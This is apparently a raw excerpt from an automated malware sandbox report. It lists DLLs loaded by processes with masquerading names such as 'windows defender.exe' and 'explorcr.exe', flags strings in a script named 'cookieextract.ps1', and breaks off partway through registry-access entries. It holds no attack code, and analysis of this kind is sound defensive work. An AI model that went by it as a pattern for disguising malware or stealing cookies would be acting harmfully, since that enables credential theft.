"%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.WINDOWS.FORMS\B138F79DEA860272EBE6694D9B73F656\SYSTEM.WINDOWS.FORMS.NI.DLL" at base 7ff8a1e80000 "System Properties.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\NTDLL.DLL" at base 0 "System Properties.exe" loaded module "%TEMP%\NTDLL.DLL" at base 0 "System Properties.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\4BEB1EECA20B27D4BD1BB9880F03CC2A\SYSTEM.CONFIGURATION.NI.DLL" at base 7ff8a19a0000 "System Properties.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XML\5EE35DEBFC22F727E70E4479DDCBC045\SYSTEM.XML.NI.DLL" at base 7ff8a10f0000 "System Properties.exe" loaded module "IMM32.DLL" at base 7ff8d4e20000 "System Properties.exe" loaded module "COMCTL32.DLL" at base 7ff8ae090000 "System Properties.exe" loaded module "GDI32.DLL" at base 7ff8d57f0000 "System Properties.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\WS2_32.DLL" at base 0 "System Properties.exe" loaded module "WS2_32.DLL" at base 7ff8d49a0000 "System Properties.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 7ff8d1760000 "System Properties.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 7ff8c9a60000 "System Properties.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 7ff8c9fd0000 "System Properties.exe" loaded module "EXT-MS-WIN-RTCORE-NTUSER-WINDOW-EXT-L1-1-0.DLL" at base 7ff8d59c0000 "System Properties.exe" loaded module "EXT-MS-WIN-RTCORE-NTUSER-INTEGRATION-L1-1-0.DLL" at base 7ff8d59c0000 "System Properties.exe" loaded module "API-MS-WIN-CORE-COM-L1-1-0.DLL" at base 7ff8d5470000 "System Properties.exe" loaded module "%WINDIR%\SYSTEM32\MSCTF.DLL" at base 7ff8d4e50000 "System Properties.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAGEMENT\B221AF81285C1305324612E6DC9C88FF\SYSTEM.MANAGEMENT.NI.DLL" at base 7ff8a1ae0000 "System Properties.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\\WMINET_UTILS.DLL" at base 7ff8bf9f0000 "System Properties.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 7ff8d2b10000 "System Properties.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WMIUTILS.DLL" at base 7ff8c5be0000 "System Properties.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 7ff8c79c0000 "System Properties.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 7ff8c60f0000 "System Properties.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL" at base 7ff8d2b10000 "System Properties.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-1-0.DLL" at base 7ff8d2b10000 "System Properties.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 7ff8c6110000 "System Properties.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\OLEAUT32.DLL" at base 0 "System Properties.exe" loaded module "%TEMP%\AVICAP32.DLL" at base 0 "System Properties.exe" loaded module "AVICAP32.DLL" at base 7ff8c09c0000 "System Properties.exe" loaded module "OLEAUT32" at base 7ff8d4ca0000 "System Properties.exe" loaded module "%TEMP%\SHCORE.DLL" at base 0 "System Properties.exe" loaded module "SHCORE.DLL" at base 7ff8d4d70000 "System Properties.exe" loaded module "GDIPLUS.DLL" at base 7ff8b2c60000 "System Properties.exe" loaded module "%WINDIR%\WINSXS\AMD64_MICROSOFT.WINDOWS.GDIPLUS_6595B64144CCF1DF_1.1.16299.248_NONE_46B9C4E9EDF1CFA5\GDIPLUS.DLL" at base 7ff8b2c60000 "System Properties.exe" loaded module "WINDOWSCODECS.DLL" at base 7ff8cdcd0000 "System Properties.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRCOMPRESSION.DLL" at base 7ff8c3650000 "windows defender.exe" loaded module "KERNEL32" at base 7ff8d4bf0000 "windows defender.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 7ff8d2b10000 "windows defender.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 7ff8d2b10000 "windows defender.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 7ff8d2b10000 "windows defender.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 7ff8d4e20000 "windows defender.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ff8d2b10000 "windows defender.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ff8d2b10000 "windows defender.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ff8d2b10000 "windows defender.exe" loaded module "ADVAPI32.DLL" at base 7ff8d4a30000 "windows defender.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 7ff8beb80000 "windows defender.exe" loaded module "SHLWAPI.DLL" at base 7ff8d58c0000 "windows defender.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 7ff8d1f40000 "windows defender.exe" loaded module "VERSION.DLL" at base 7ff8c8630000 "windows defender.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLR.DLL" at base 7ff8a5f70000 "windows defender.exe" loaded module "USER32.DLL" at base 7ff8d59c0000 "windows defender.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 7ff8d2b10000 "windows defender.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREE.DLL" at base 0 "windows defender.exe" loaded module "MSCOREE.DLL" at base 7ff8beca0000 "windows defender.exe" loaded module "NTDLL" at base 7ff8d5b80000 "windows defender.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 7ff8d5470000 "windows defender.exe" loaded module "RPCRT4.DLL" at base 7ff8d45f0000 "windows defender.exe" loaded module "KERNEL32.DLL" at base 7ff8d4bf0000 "windows defender.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MSCORLIB\FE2524177EB3088C77BE666722039F52\MSCORLIB.NI.DLL" at base 7ff8a4970000 "windows defender.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\OLE32.DLL" at base 0 "windows defender.exe" loaded module "OLE32.DLL" at base 7ff8d44a0000 "windows defender.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ff8d0550000 "windows defender.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 0 "windows defender.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 7ff8d5470000 "windows defender.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 7ff8d2b10000 "windows defender.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7ff8a4820000 "windows defender.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM\E43DD9C73AB5615E461BF5109C3FACD6\SYSTEM.NI.DLL" at base 7ff8a3bb0000 "windows defender.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DRAWING\ECE80F2E3752A779E894FD45D8F27E64\SYSTEM.DRAWING.NI.DLL" at base 7ff8a39b0000 "windows defender.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.WINDOWS.FORMS\B138F79DEA860272EBE6694D9B73F656\SYSTEM.WINDOWS.FORMS.NI.DLL" at base 7ff8a1e80000 "windows defender.exe" loaded module "SSPICLI.DLL" at base 7ff8d1dd0000 "windows defender.exe" loaded module "NTDLL.DLL" at base 7ff8d5b80000 "windows defender.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SHELL32.DLL" at base 0 "windows defender.exe" loaded module "SHELL32.DLL" at base 7ff8d3050000 "windows defender.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CORE\0D59B0E237D7519417DE10CD84BDA4E7\SYSTEM.CORE.NI.DLL" at base 7ff8a2f30000 "windows defender.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAGEMENT\B221AF81285C1305324612E6DC9C88FF\SYSTEM.MANAGEMENT.NI.DLL" at base 7ff8a1ae0000 "windows defender.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 7ff8d2b10000 "windows defender.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WMIUTILS.DLL" at base 7ff8c5be0000 "windows defender.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 7ff8c79c0000 "windows defender.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\\WMINET_UTILS.DLL" at base 7ff8bf9f0000 "windows defender.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 7ff8c60f0000 "windows defender.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL" at base 7ff8d2b10000 "windows defender.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-1-0.DLL" at base 7ff8d2b10000 "windows defender.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 7ff8c6110000 "windows defender.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\OLEAUT32.DLL" at base 0 "windows defender.exe" loaded module "OLEAUT32.DLL" at base 7ff8d4ca0000 "windows defender.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\OLEAUT32.DLL" at base 0 "windows defender.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\BCRYPT.DLL" at base 0 "windows defender.exe" loaded module "BCRYPT.DLL" at base 7ff8d1a30000 "windows defender.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ff8d1370000 "windows defender.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ff8d2fd0000 "windows defender.exe" loaded module "ADVAPI32" at base 7ff8d4a30000 "windows defender.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\4BEB1EECA20B27D4BD1BB9880F03CC2A\SYSTEM.CONFIGURATION.NI.DLL" at base 7ff8a19a0000 "windows defender.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XML\5EE35DEBFC22F727E70E4479DDCBC045\SYSTEM.XML.NI.DLL" at base 7ff8a10f0000 "windows defender.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\PSAPI.DLL" at base 0 "windows defender.exe" loaded module "PSAPI.DLL" at base 7ff8d4490000 "windows defender.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CRYPT32.DLL" at base 0 "windows defender.exe" loaded module "CRYPT32.DLL" at base 7ff8d1fd0000 "windows defender.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\WS2_32.DLL" at base 0 "windows defender.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 7ff8d1760000 "windows defender.exe" loaded module "COMCTL32.DLL" at base 7ff8ae090000 "windows defender.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 7ff8c9fd0000 "windows defender.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.V9921E851#\FB4BA4DB52CA77687F807BB068871EC2\MICROSOFT.VISUALBASIC.NI.DLL" at base 7ff8a1c50000 "windows defender.exe" loaded module "SXS.DLL" at base 7ff8d1d30000 "windows defender.exe" loaded module "%WINDIR%\SYSTEM32\DEVENUM.DLL" at base 7ff8caf90000 "windows defender.exe" loaded module "MSDMO.DLL" at base 7ff8caf80000 "explorer.exe" loaded module "KERNEL32" at base 7ff8d4bf0000 "explorer.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 7ff8d2b10000 "explorer.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 7ff8d2b10000 "explorer.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 7ff8d2b10000 "explorer.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 7ff8d4e20000 "explorer.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ff8d2b10000 "explorer.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ff8d2b10000 "explorer.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ff8d2b10000 "explorer.exe" loaded module "ADVAPI32.DLL" at base 7ff8d4a30000 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 7ff8beb80000 "explorer.exe" loaded module "SHLWAPI.DLL" at base 7ff8d58c0000 "explorer.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 7ff8d1f40000 "explorer.exe" loaded module "VERSION.DLL" at base 7ff8c8630000 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLR.DLL" at base 7ff8a5f70000 "explorer.exe" loaded module "USER32.DLL" at base 7ff8d59c0000 "explorer.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 7ff8d2b10000 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREE.DLL" at base 0 "explorer.exe" loaded module "MSCOREE.DLL" at base 7ff8beca0000 "explorer.exe" loaded module "NTDLL" at base 7ff8d5b80000 "explorer.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 7ff8d5470000 "explorer.exe" loaded module "RPCRT4.DLL" at base 7ff8d45f0000 "explorer.exe" loaded module "KERNEL32.DLL" at base 7ff8d4bf0000 "explorer.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MSCORLIB\FE2524177EB3088C77BE666722039F52\MSCORLIB.NI.DLL" at base 7ff8a4970000 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\OLE32.DLL" at base 0 "explorer.exe" loaded module "OLE32.DLL" at base 7ff8d44a0000 "explorer.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ff8d0550000 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 0 "explorer.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 7ff8d5470000 "explorer.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 7ff8d2b10000 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7ff8a4820000 "explorer.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM\E43DD9C73AB5615E461BF5109C3FACD6\SYSTEM.NI.DLL" at base 7ff8a3bb0000 "explorer.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DRAWING\ECE80F2E3752A779E894FD45D8F27E64\SYSTEM.DRAWING.NI.DLL" at base 7ff8a39b0000 "explorer.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.WINDOWS.FORMS\B138F79DEA860272EBE6694D9B73F656\SYSTEM.WINDOWS.FORMS.NI.DLL" at base 7ff8a1e80000 "explorer.exe" loaded module "SSPICLI.DLL" at base 7ff8d1dd0000 "explorer.exe" loaded module "NTDLL.DLL" at base 7ff8d5b80000 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SHELL32.DLL" at base 0 "explorer.exe" loaded module "SHELL32.DLL" at base 7ff8d3050000 "explorer.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CORE\0D59B0E237D7519417DE10CD84BDA4E7\SYSTEM.CORE.NI.DLL" at base 7ff8a2f30000 "explorer.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAGEMENT\B221AF81285C1305324612E6DC9C88FF\SYSTEM.MANAGEMENT.NI.DLL" at base 7ff8a1ae0000 "explorer.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 7ff8d2b10000 "explorer.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WMIUTILS.DLL" at base 7ff8c5be0000 "explorer.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 7ff8c79c0000 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\\WMINET_UTILS.DLL" at base 7ff8bf9f0000 "explorer.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 7ff8c60f0000 "explorer.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL" at base 7ff8d2b10000 "explorer.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-1-0.DLL" at base 7ff8d2b10000 "explorer.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 7ff8c6110000 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\OLEAUT32.DLL" at base 0 "explorer.exe" loaded module "OLEAUT32.DLL" at base 7ff8d4ca0000 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\OLEAUT32.DLL" at base 0 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\BCRYPT.DLL" at base 0 "explorer.exe" loaded module "BCRYPT.DLL" at base 7ff8d1a30000 "explorer.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ff8d1370000 "explorer.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ff8d2fd0000 "explorer.exe" loaded module "ADVAPI32" at base 7ff8d4a30000 "explorer.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\4BEB1EECA20B27D4BD1BB9880F03CC2A\SYSTEM.CONFIGURATION.NI.DLL" at base 7ff8a19a0000 "explorer.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XML\5EE35DEBFC22F727E70E4479DDCBC045\SYSTEM.XML.NI.DLL" at base 7ff8a10f0000 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\PSAPI.DLL" at base 0 "explorer.exe" loaded module "PSAPI.DLL" at base 7ff8d4490000 "explorer.exe" loaded module "CRYPT32.DLL" at base 7ff8d1fd0000 "powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 75f60000 "powershell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 75f60000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 75f60000 "powershell.exe" loaded module "KERNEL32" at base 76ab0000 "powershell.exe" loaded module "ADVAPI32.DLL" at base 771a0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREEI.DLL" at base 72760000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 75f10000 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 76240000 "powershell.exe" loaded module "VERSION.DLL" at base 73980000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLR.DLL" at base 71fb0000 "powershell.exe" loaded module "USER32.DLL" at base 74450000 "powershell.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 75f60000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREE.DLL" at base 0 "powershell.exe" loaded module "MSCOREE.DLL" at base 727f0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 767f0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\36EACCFDE177C2E7B93B8DBDDE4E012A\MSCORLIB.NI.DLL" at base 70160000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM\2C3C912EA8F058F9D04C4650128FEB3F\SYSTEM.NI.DLL" at base 6f700000 "powershell.exe" loaded module "KERNEL32.DLL" at base 76ab0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\WLDP.DLL" at base 0 "powershell.exe" loaded module "CRYPT32.DLL" at base 74720000 "powershell.exe" loaded module "NTDLL.DLL" at base 77240000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\\WINDOWS.STATEREPOSITORYPS.DLL" at base 72d90000 "powershell.exe" loaded module "WINHTTP.DLL" at base 6e280000 "cmd.exe" loaded module "KERNEL32" at base 7ff8d4bf0000 "cmd.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 7ff8d2b10000 "cmd.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 7ff8d2b10000 "cmd.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 7ff8d2b10000 "explorcr.exe" loaded module "KERNEL32" at base 7ff8d4bf0000 "explorcr.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 7ff8d2b10000 "explorcr.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 7ff8d2b10000 "explorcr.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 7ff8d2b10000 "explorcr.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ff8d2b10000 "explorcr.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ff8d2b10000 "explorcr.exe" loaded module "VERSION.DLL" at base 7ff8c8630000 "explorcr.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 7ff8d2b10000 "explorcr.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM\E43DD9C73AB5615E461BF5109C3FACD6\SYSTEM.NI.DLL" at base 7ff8a3bb0000 "explorcr.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DRAWING\ECE80F2E3752A779E894FD45D8F27E64\SYSTEM.DRAWING.NI.DLL" at base 7ff8a39b0000 "explorcr.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.WINDOWS.FORMS\B138F79DEA860272EBE6694D9B73F656\SYSTEM.WINDOWS.FORMS.NI.DLL" at base 7ff8a1e80000 "explorcr.exe" loaded module "ADVAPI32.DLL" at base 7ff8d4a30000 "explorcr.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CORE\0D59B0E237D7519417DE10CD84BDA4E7\SYSTEM.CORE.NI.DLL" at base 7ff8a2f30000 "explorcr.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAGEMENT\B221AF81285C1305324612E6DC9C88FF\SYSTEM.MANAGEMENT.NI.DLL" at base 7ff8a1ae0000 "explorcr.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 7ff8c79c0000 "explorcr.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 7ff8c60f0000 "explorcr.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ff8d1370000 "explorcr.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\4BEB1EECA20B27D4BD1BB9880F03CC2A\SYSTEM.CONFIGURATION.NI.DLL" at base 7ff8a19a0000 "explorcr.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XML\5EE35DEBFC22F727E70E4479DDCBC045\SYSTEM.XML.NI.DLL" at base 7ff8a10f0000 "explorcr.exe" loaded module "CRYPT32.DLL" at base 7ff8d1fd0000 "explorcr.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\WS2_32.DLL" at base 0 "explorcr.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 7ff8d1760000 "explorcr.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 7ff8c9fd0000 "explorcr.exe" loaded module "MSKEYPROTECT.DLL" at base 7ff8c1830000 "explorcr.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XML.LINQ\507B5BED3BF2957922D1B2DB71171C58\SYSTEM.XML.LINQ.NI.DLL" at base 7ff8b0bb0000 "explorcr.exe" loaded module "%WINDIR%\SYSTEM32\MMDEVAPI.DLL" at base 7ff8cb57000041:T413,"Launcher.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 748B0000 "Launcher.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 72FE0000 "Build.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 748B0000 "Build.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 72FE0000 "System Properties.exe" loaded module "%WINDIR%\System32\bcryptprimitives.dll" at D2FD0000 "System Properties.exe" loaded module "%WINDIR%\System32\bcrypt.dll" at D1A30000 "windows defender.exe" loaded module "%WINDIR%\System32\bcryptprimitives.dll" at D2FD0000 "windows defender.exe" loaded module "%WINDIR%\System32\bcrypt.dll" at D1A30000 "explorer.exe" loaded module "%WINDIR%\System32\bcryptprimitives.dll" at D2FD0000 "explorer.exe" loaded module "%WINDIR%\System32\bcrypt.dll" at D1A30000 "grpconv.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 748B0000 "grpconv.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 72FE0000 "schtasks.exe" loaded module "%WINDIR%\System32\bcryptprimitives.dll" at D2FD000042:T422,file/memory contains long string with (Indicator: "Join-Path"; File: "Build.exe") file/memory contains long string with (Indicator: "Test-Path"; File: "Build.exe") file/memory contains long string with (Indicator: "New-Object"; File: "Build.exe") file/memory contains long string with (Indicator: "Write-Host"; File: "Build.exe") file/memory contains long string with (Indicator: "Write-Error"; File: "Build.exe") file/memory contains long string with (Indicator: "Write-Warning"; File: "Build.exe") file/memory contains long string with (Indicator: "Join-Path"; File: "cookieextract.ps1") file/memory contains long string with (Indicator: "Test-Path"; File: "cookieextract.ps1") file/memory contains long string with (Indicator: "New-Object"; File: "cookieextract.ps1") file/memory contains long string with (Indicator: "Write-Host"; File: "cookieextract.ps1") file/memory contains long string with (Indicator: "Write-Error"; File: "cookieextract.ps1") file/memory contains long string with (Indicator: "Write-Warning"; File: "cookieextract.ps1")43:T1b38,"Launcher.exe" touched "Computer" (Path: "HKCU\WOW6432NODE\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "Launcher.exe" touched "Private Profile Object" (Path: 